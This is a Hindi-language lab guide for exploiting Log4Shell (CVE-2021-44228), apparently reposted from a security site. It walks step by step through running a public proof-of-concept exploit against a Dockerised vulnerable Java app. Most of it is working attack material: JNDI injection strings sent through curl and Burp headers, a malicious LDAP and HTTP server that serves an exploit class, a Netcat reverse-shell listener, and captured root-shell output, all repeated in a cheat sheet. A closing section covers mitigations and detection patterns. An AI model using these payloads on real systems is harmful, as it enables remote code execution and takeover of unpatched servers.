Log4Shell (CVE-2021-44228) का शोषण: एक संपूर्ण, आधुनिक प्रदर्शन प्रयोगशाला

Log4Shell (CVE-2021-44228) अब तक खोजी गई सबसे प्रभावशाली रिमोट कोड निष्पादन भेद्यताओं में से एक है। यह Apache Log4j 2 को प्रभावित करता है, जो एक व्यापक रूप से उपयोग किया जाने वाला Java लॉगिंग फ्रेमवर्क है, और हमलावरों को लॉग संदेशों में JNDI लुकअप का दुरुपयोग करके मनमाना कोड निष्पादित करने की अनुमति देता है।

यह मार्गदर्शिका निम्नलिखित का उपयोग करके एक पूर्ण, पुनरुत्पादनीय प्रदर्शन प्रयोगशाला प्रदान करती है:

• Kali Linux (हमलावर)
• एक Dockerised कमजोर Log4j2 अनुप्रयोग
• सार्वजनिक PoC log4j-shell-poc
• curl, Burp Suite, और Netcat

यह केवल नियंत्रित वातावरणों में शिक्षण, अनुसंधान, प्रशिक्षण और रक्षात्मक जागरूकता के लिए डिज़ाइन किया गया है। संरचना और शैली साथी "Shellshock" प्रयोगशाला README के समान भावना का अनुसरण करते हैं।

📌 सामग्री तालिका

0. कानूनी और नैतिक नोटिस
1. उच्च-स्तरीय अवलोकन
2. सीखने के उद्देश्य
3. प्रयोगशाला वास्तुकला
4. पूर्वापेक्षाएँ
5. Kali पर JDK 1.8.0_202 स्थापित करें
6. कमजोर Log4j अनुप्रयोग तैनात करें (Docker)
7. शोषण PoC तैयार करें
8. poc.py को JDK 1.8.0_202 का उपयोग करने के लिए कॉन्फ़िगर करें
9. शोषण सेवाएँ प्रारंभ करें (LDAP + HTTP + पेलोड)
10. रिवर्स शेल श्रोता प्रारंभ करें
11. curl के माध्यम से Log4Shell का शोषण करें
12. Burp Suite के माध्यम से Log4Shell का शोषण करें
13. हमला श्रृंखला आरेख
14. प्रतिउपाय और रक्षा
15. चीट शीट (सभी कमांड)
16. स्क्रीनशॉट गैलरी (वैकल्पिक)
17. संदर्भ
18. क्रेडिट

0. कानूनी और नैतिक नोटिस

यह प्रयोगशाला केवल एक नियंत्रित वातावरण में की जानी चाहिए जहाँ आपके पास स्पष्ट प्राधिकरण हो (आपकी अपनी प्रयोगशाला, कक्षा VM, आदि)।

• उत्पादन प्रणालियों पर हमला न करें।
• इसे उन होस्टों के विरुद्ध न चलाएं जिनके आप स्वामी या प्रशासक नहीं हैं।
• इस सामग्री का उपयोग केवल शिक्षा, अनुसंधान और रक्षा के लिए करें।

1. उच्च-स्तरीय अवलोकन

Log4Shell (CVE-2021-44228) Apache Log4j 2 में एक गंभीर RCE भेद्यता है।

समस्या इसलिए उत्पन्न होती है क्योंकि कमजोर Log4j2 संस्करण हमलावर-नियंत्रित स्ट्रिंग्स जैसे:

${jndi:ldap://ATTACKER_IP:1389/a}

की व्याख्या करते हैं।

जब यह स्ट्रिंग लॉग की जाती है, Log4j:

1. एक JNDI लुकअप करता है (जैसे LDAP के माध्यम से) एक हमलावर-नियंत्रित सर्वर पर।
2. एक दुर्भावनापूर्ण Java वर्ग का संदर्भ प्राप्त करता है।
3. HTTP के माध्यम से वर्ग डाउनलोड करता है और इसे JVM में लोड करता है।
4. इसे निष्पादित करता है, जिससे रिमोट कोड निष्पादन होता है।

इस प्रयोगशाला में, आप:

• एक Docker कंटेनर के अंदर एक कमजोर Log4j2 वेब अनुप्रयोग चलाएंगे।
• log4j-shell-poc का उपयोग करके Kali पर एक दुर्भावनापूर्ण LDAP + HTTP सर्वर चलाएंगे।
• curl और Burp Suite के माध्यम से Log4Shell पेलोड वितरित करेंगे।
• कमजोर कंटेनर से एक रिवर्स शेल कैप्चर करेंगे।

2. सीखने के उद्देश्य

इस प्रयोगशाला के अंत तक, आपको सक्षम होना चाहिए:

1. उच्च स्तर पर समझाएं कि Log4Shell कैसे काम करता है और JNDI दुरुपयोग करने पर खतरनाक क्यों है।
2. Docker का उपयोग करके एक कमजोर Log4j2 अनुप्रयोग तैनात करें।
3. PoC के लिए आवश्यक JDK 1.8.0_202 स्थापित और कॉन्फ़िगर करें।
4. PoC स्क्रिप्ट के माध्यम से एक दुर्भावनापूर्ण LDAP सर्वर और HTTP सर्वर चलाएं।
5. भेद्यता को ट्रिगर करें और एक रिवर्स शेल प्राप्त करें।
6. Burp Suite का उपयोग करके हमले को एक HTTP हेडर में इंजेक्ट करें।
7. यथार्थवादी शमन और पता लगाने की रणनीतियों पर चर्चा करें।

3. प्रयोगशाला वास्तुकला

सभी घटक आपके मौजूदा आभासी प्रयोगशाला के शीर्ष पर चलते हैं। इस लेख के लिए हम मानते हैं:

• Kali Linux VM हमलावर है।
• Kali कमजोर ऐप वाले Docker कंटेनर को भी चलाता है।

मुख्य विचार

हमलावर इंजेक्ट करता है:

${jndi:ldap://192.168.1.4:1389/a}

एक HTTP हेडर में। कमजोर ऐप इसे Log4j2 का उपयोग करके लॉग करता है → 192.168.1.4:1389 पर एक JNDI LDAP लुकअप करता है → http://192.168.1.4:8000 से एक दुर्भावनापूर्ण वर्ग डाउनलोड करता है → वर्ग को निष्पादित करता है, जो 192.168.1.4:9001 पर वापस एक रिवर्स शेल खोलता है।

4. पूर्वापेक्षाएँ

Kali पर आपको चाहिए:

• Docker (स्थापित और काम कर रहा)।
• Python 3 (Kali पर डिफ़ॉल्ट)।
• Netcat (nc)।
• Burp Suite (कम्युनिटी संस्करण ठीक है)।
• प्रारंभिक डाउनलोड के लिए इंटरनेट एक्सेस।
• Linux और HTTP की बुनियादी जानकारी।

इस पूरे मार्गदर्शिका में हम मानते हैं कि Kali IP है:

192.168.1.4

यदि आपका IP भिन्न है, तो सभी कमांड को तदनुसार समायोजित करें।

5. Kali पर JDK 1.8.0_202 स्थापित करें (अनिवार्य)

PoC Java SE 8 Update 202 (JDK 1.8.0_202) पर निर्भर करता है क्योंकि बाद के Java संस्करण इस शोषण द्वारा उपयोग किए जाने वाले रिमोट क्लास लोडिंग व्यवहार को प्रतिबंधित करते हैं।

भले ही Kali में पहले से OpenJDK 21 (या समान) हो, फिर भी आपको 8u202 को अलग से स्थापित करना होगा।

5.1 एक कार्यशील निर्देशिका बनाएँ

mkdir -p ~/Log4Shell
cd ~/Log4Shell

5.2 HuaweiCloud मिरर से JDK 8u202 डाउनलोड करें

मिरर रूट:

https://mirrors.huaweicloud.com/java/jdk/8u202-b08/

Linux x64 tarball (≈185 MB) डाउनलोड करें:

wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz   # लगभग 185M होना चाहिए

5.3 /usr/bin/jdk1.8.0_202 में निकालें

sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
  -C /usr/bin/jdk1.8.0_202 --strip-components=1

--strip-components=1 विकल्प संग्रह से शीर्ष-स्तरीय निर्देशिका को हटाता है ताकि फ़ाइलें सीधे /usr/bin/jdk1.8.0_202 के अंतर्गत आ जाएँ।

5.4 स्थापना सत्यापित करें

/usr/bin/jdk1.8.0_202/bin/java -version

अपेक्षित आउटपुट:

java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)

यदि आप यह देखते हैं, तो JDK 1.8.0_202 सही ढंग से स्थापित है।

6. कमजोर Log4j अनुप्रयोग तैनात करें (Kali पर Docker)

Kali पर एक नए टर्मिनल में (आप ~/Log4Shell में रह सकते हैं):

docker run --name vulnerable-app --rm -p 8080:8080 \
  ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929

आपको इस प्रकार के लॉग दिखाई देने चाहिए:

:: Spring Boot ::  (v2.6.1)
Tomcat initialized with port(s): 8080 (http)
Tomcat started on port(s): 8080 (http) with context path ''
Started VulnerableAppApplication ...

• अब ऐप Kali से http://127.0.0.1:8080/ पर पहुंच योग्य है।
• इस टर्मिनल को चलने दें। यह आपका लक्ष्य है।

त्वरित जाँच:

curl http://127.0.0.1:8080/

आप एक Whitelabel त्रुटि पृष्ठ (HTTP 400) देख सकते हैं। यह ठीक है – हमें केवल ऐप के चलने और अनुरोधों को लॉग करने की आवश्यकता है।

7. शोषण PoC तैयार करें (Kali पर)

7.1 log4j-shell-poc क्लोन करें

एक नए टर्मिनल में:

cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc

फ़ाइलों की पुष्टि करें:

ls
# poc.py, target/, README, आदि। Exploit.java बाद में उत्पन्न होगा।

8. poc.py को JDK 1.8.0_202 का उपयोग करने के लिए कॉन्फ़िगर करें

डिफ़ॉल्ट रूप से, poc.py रिपॉजिटरी के अंदर jdk1.8.0_20 नामक निर्देशिका में एक स्थानीय JDK खोजने की अपेक्षा करता है। इसके बजाय, आपने JDK 8u202 को /usr/bin/jdk1.8.0_202 में स्थापित किया है, इसलिए आपको स्क्रिप्ट को अपडेट करना होगा।

8.1 poc.py को एक संपादक में खोलें

nano poc.py

8.2 मूल Java पथ पंक्तियों की पहचान करें

jdk1.8.0_20 खोजें (nano में: Ctrl+W, jdk1.8.0_20 टाइप करें, Enter दबाएँ)।

आपको तीन घटनाएँ मिलनी चाहिए जैसे:

subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])

exit_code = subprocess.call([
    os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'),
    '-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)

subprocess.run([
    os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
    "-cp",
    os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
    "marshalsec.jndi.LDAPRefServer",
    url,
])

8.3 JDK 8u202 के लिए निरपेक्ष पथों से बदलें

उन्हें इससे बदलें:

subprocess.run(["/usr/bin/jdk1.8.0_202/bin/javac", str(p)])

exit_code = subprocess.call([
    "/usr/bin/jdk1.8.0_202/bin/java",
    '-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)

subprocess.run([
    "/usr/bin/jdk1.8.0_202/bin/java",
    "-cp",
    os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
    "marshalsec.jndi.LDAPRefServer",
    url,
])

सहेजें और बाहर निकलें:

• Ctrl + O → Enter
• Ctrl + X

अब PoC /usr/bin से JDK 1.8.0_202 का उपयोग करता है।

9. शोषण सेवाएँ प्रारंभ करें (LDAP + HTTP + पेलोड जनरेटर)

~/Log4Shell/log4j-shell-poc से:

9.1 PoC स्क्रिप्ट चलाएँ

python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001

पैरामीटर:

• --userip – आपका Kali IP (हमलावर): उदा. 192.168.1.4।
• --webport – एम्बेडेड HTTP सर्वर के लिए पोर्ट: 8000।
• --lport – वह पोर्ट जिससे पेलोड वापस जुड़ता है: 9001।

यदि सब कुछ सही ढंग से कॉन्फ़िगर किया गया है, तो आपको कुछ इस प्रकार दिखना चाहिए:

[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc

[+] Exploit java class created success
[+] Setting up LDAP server

[+] Send me: ${jndi:ldap://192.168.1.4:1389/a}

[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Listening on 0.0.0.0:1389

महत्वपूर्ण:

• LDAP सर्वर पोर्ट 1389 पर सुन रहा है।

• HTTP सर्वर पोर्ट 8000 पर सुन रहा है।

• इंजेक्ट करने के लिए सटीक पेलोड मुद्रित होता है:

  root@kitploit:~

  ${jndi:ldap://192.168.1.4:1389/a}
  

इस टर्मिनल को चलने दें।

10. रिवर्स शेल श्रोता प्रारंभ करें (Netcat)

Kali पर एक और नया टर्मिनल खोलें:

nc -nvlp 9001

आपको देखना चाहिए:

listening on [any] 9001 ...

यह श्रोता कमजोर अनुप्रयोग से रिवर्स शेल प्राप्त करेगा।

इस बिंदु पर आपके पास होना चाहिए:

1. कमजोर ऐप चला रहा Docker कंटेनर (पोर्ट 8080)।
2. poc.py LDAP (1389) और HTTP (8000) चला रहा है।
3. Netcat 9001 पर सुन रहा है।

11. curl के माध्यम से Log4Shell का शोषण करें

पहले, एक कच्चे HTTP अनुरोध का उपयोग करके साबित करें कि शोषण काम करता है।

एक नए टर्मिनल में (या यदि उपलब्ध हो तो एक का पुन: उपयोग करें):

curl http://127.0.0.1:8080 \
  -H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'

क्या होता है:

1. कमजोर ऐप अनुरोध प्राप्त करता है और X-Api-Version हेडर को लॉग करता है।
2. Log4j2 ${jndi:ldap://192.168.1.4:1389/a} देखता है और एक JNDI LDAP लुकअप करता है।
3. आपका LDAP सर्वर (poc.py के अंदर) एक दुर्भावनापूर्ण Java वर्ग के संदर्भ के साथ उत्तर देता है जो आपके HTTP सर्वर पर होस्ट किया गया है।
4. ऐप वर्ग को डाउनलोड और निष्पादित करता है।
5. वर्ग 192.168.1.4:9001 पर वापस जुड़ता है और एक शेल को जन्म देता है।

यदि सफल होता है, तो आपका Netcat टर्मिनल दिखाता है:

connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 48xxx
id
uid=0(root) gid=0(root) groups=0(root), ...

अब आपके पास Docker कंटेनर के अंदर एक रूट शेल है।

प्रयास करें:

id
hostname
ls /

इससे बाहर निकलें:

exit

Netcat सुनने पर वापस आ जाएगा।

12. Burp Suite के माध्यम से Log4Shell का शोषण करें (ब्राउज़र-शैली)

अब Burp Suite द्वारा मध्यस्थ ब्राउज़र का उपयोग करके उसी शोषण पथ का प्रदर्शन करें।

12.1 Burp को प्रॉक्सी के रूप में उपयोग करने के लिए Firefox कॉन्फ़िगर करें

1. Kali पर Burp Suite प्रारंभ करें।

2. Burp में, सुनिश्चित करें कि प्रॉक्सी श्रोता 127.0.0.1:8080 पर चल रहा है।

3. Firefox में:

   • सेटिंग्स → नेटवर्क सेटिंग्स → मैन्युअल प्रॉक्सी कॉन्फ़िगरेशन।
   • HTTP प्रॉक्सी: 127.0.0.1, पोर्ट: 8080।
   • "इस प्रॉक्सी का उपयोग HTTPS के लिए भी करें" को चेक करें।
   • सुनिश्चित करें कि 127.0.0.1 के लिए कोई बहिष्करण नहीं हैं।

12.2 एक प्रारंभिक अनुरोध कैप्चर करें

1. Burp में → Proxy → Intercept, सुनिश्चित करें Intercept ON है।

2. Firefox में, यहाँ ब्राउज़ करें:

   root@kitploit:~

   http://127.0.0.1:8080/
   

3. Burp इंटरसेप्ट किए गए अनुरोध को दिखाएगा, जैसे:

   root@kitploit:~

   GET / HTTP/1.1
   Host: 127.0.0.1:8080
   User-Agent: Mozilla/5.0 ...
   ...
   

12.3 अनुरोध को Repeater पर भेजें

1. Proxy → Intercept टैब में, अनुरोध पर राइट-क्लिक करें।
2. Send to Repeater चुनें।
3. Repeater टैब पर स्विच करें।

12.4 Log4Shell पेलोड को HTTP हेडर में इंजेक्ट करें

Repeater में, एक X-Api-Version हेडर शामिल करने के लिए अनुरोध को संशोधित करें:

GET / HTTP/1.1
Host: 127.0.0.1:8080
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

नोट्स:

• यदि भिन्न हो तो 192.168.1.4 को अपने वास्तविक Kali IP से बदलें।
• ${} वर्णों को URL-एनकोड न करें – वे बिल्कुल वैसे ही दिखाई देने चाहिए जैसे दिखाए गए हैं।
• Connection: close चीजों को सरल रखता है (वैकल्पिक)।

12.5 दुर्भावनापूर्ण अनुरोध भेजें

1. पुष्टि करें कि poc.py और Netcat श्रोता अभी भी चल रहे हैं।
2. Burp Repeater में Send पर क्लिक करें।

आप फिर से 400 Whitelabel त्रुटि पृष्ठ देख सकते हैं – यह ठीक है।

अपना Netcat टर्मिनल जाँचें:

listening on [any] 9001 ...
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 37244
id
uid=0(root) gid=0(root) groups=0(root), ...

आपने एक बार फिर कंटेनर पर रूट शेल प्राप्त किया है, इस बार Burp-संशोधित HTTP अनुरोध का उपयोग करके, जो एक यथार्थवादी वेब शोषण वर्कफ़्लो को दर्शाता है।

13. हमला श्रृंखला कैसे काम करती है (तकनीकी सारांश)

1. हमलावर JNDI पेलोड तैयार करता है:

   root@kitploit:~

   ${jndi:ldap://192.168.1.4:1389/a}
   

2. कमजोर अनुप्रयोग इस स्ट्रिंग को Log4j2 का उपयोग करके लॉग करता है।

3. Log4j2 ${jndi:...} की व्याख्या करता है और एक JNDI लुकअप करता है।

4. लुकअप हमलावर के LDAP सर्वर से संपर्क करने के लिए LDAP का उपयोग करता है 192.168.1.4:1389 पर।

5. LDAP सर्वर (marshalsec) HTTP पर होस्ट किए गए हमलावर-नियंत्रित वर्ग की ओर इशारा करते हुए एक javaNamingReference के साथ उत्तर देता है, जैसे:

   root@kitploit:~

   http://192.168.1.4:8000/Exploit.class
   

6. पीड़ित JVM इस वर्ग को डाउनलोड और लोड करता है।

7. वर्ग का कंस्ट्रक्टर 192.168.1.4:9001 पर वापस एक सॉकेट खोलता है और /bin/sh को बांधता है।

8. हमलावर का Netcat श्रोता आने वाले कनेक्शन को प्राप्त करता है और कंटेनर के अंदर एक रिमोट रूट शेल प्राप्त करता है।

14. शमन और रक्षा

वास्तविक वातावरण में, कई रक्षात्मक परतें लागू की जानी चाहिए।

14.1 Log4j2 अपग्रेड करें

• 2.17.1 या बाद के संस्करण (या विक्रेता-अनुशंसित सुरक्षित संस्करण) में अपग्रेड करें।
• ये संस्करण डिफ़ॉल्ट रूप से JNDI लुकअप को अक्षम या भारी रूप से प्रतिबंधित करते हैं।

14.2 JNDI / संदेश लुकअप अक्षम करें

अभी भी कमजोर परिनियोजनों के लिए, जोड़ें:

-Dlog4j2.formatMsgNoLookups=true

(जहाँ लागू हो – ध्यान दें कि सभी कमजोर कॉन्फ़िगरेशन केवल इस फ़्लैग द्वारा ठीक नहीं होते हैं।)

14.3 log4j-core JAR से JndiLookup हटाएँ

गहराई में रक्षा उपाय के रूप में:

zip -q -d log4j-core-*.jar \
  org/apache/logging/log4j/core/lookup/JndiLookup.class

14.4 आउटबाउंड नेटवर्क एक्सेस को कठोर करें

• एप्लिकेशन सर्वर से आउटबाउंड LDAP, RMI और मनमाना HTTP प्रतिबंधित करें।
• ईग्रेस फ़िल्टरिंग और सख्त फ़ायरवॉल नीतियां सर्वरों को हमलावर-नियंत्रित बुनियादी ढांचे तक पहुंचने से रोक सकती हैं।

14.5 पहचान और निगरानी

• ${jndi: या ${${lower:j}${upper:ndi}: जैसे संदिग्ध पैटर्न के लिए लॉग खोजें।
• सर्वरों से असामान्य आउटबाउंड LDAP/RMI कनेक्शन की निगरानी करें।
• Log4Shell संकेतकों और PoC ट्रैफ़िक के लिए IDS/IPS/SIEM नियम तैनात करें।

15. कमांड चीट-शीट

इस प्रयोगशाला में उपयोग किए गए कमांड का एक संक्षिप्त अवलोकन।

15.1 कार्यशील निर्देशिका

mkdir -p ~/Log4Shell
cd ~/Log4Shell

15.2 JDK 8u202 डाउनलोड करें (≈185 MB)

wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz

15.3 JDK 1.8.0_202 स्थापित करें

sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
  -C /usr/bin/jdk1.8.0_202 --strip-components=1

/usr/bin/jdk1.8.0_202/bin/java -version

15.4 कमजोर Docker अनुप्रयोग चलाएँ

docker run --name vulnerable-app --rm -p 8080:8080 \
  ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929

15.5 PoC रिपॉजिटरी क्लोन करें

cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc

15.6 poc.py Java पथ अपडेट करें (सारांश)

इससे बदलें:

os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac")
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java")  # दो उपयोग

इसके साथ:

"/usr/bin/jdk1.8.0_202/bin/javac"
"/usr/bin/jdk1.8.0_202/bin/java"

15.7 PoC प्रारंभ करें (LDAP + HTTP + पेलोड)

python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001

15.8 Netcat रिवर्स शेल श्रोता

nc -nvlp 9001

15.9 curl के माध्यम से शोषण करें

curl http://127.0.0.1:8080 \
  -H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'

15.10 हेडर के लिए पेलोड स्ट्रिंग

${jndi:ldap://192.168.1.4:1389/a}

15.11 Burp Repeater हेडर

X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}

16. स्क्रीनशॉट गैलरी

17. संदर्भ

• मूल PoC: kozmer/log4j-shell-poc
• कमजोर डेमो अनुप्रयोग: christophetd/log4shell-vulnerable-app
• Apache Log4j सुरक्षा भेद्यताएँ: https://logging.apache.org/log4j/2.x/security.html
• CVE-2021-44228 के लिए NIST NVD प्रविष्टि: https://nvd.nist.gov/vuln/detail/CVE-2021-44228

18. क्रेडिट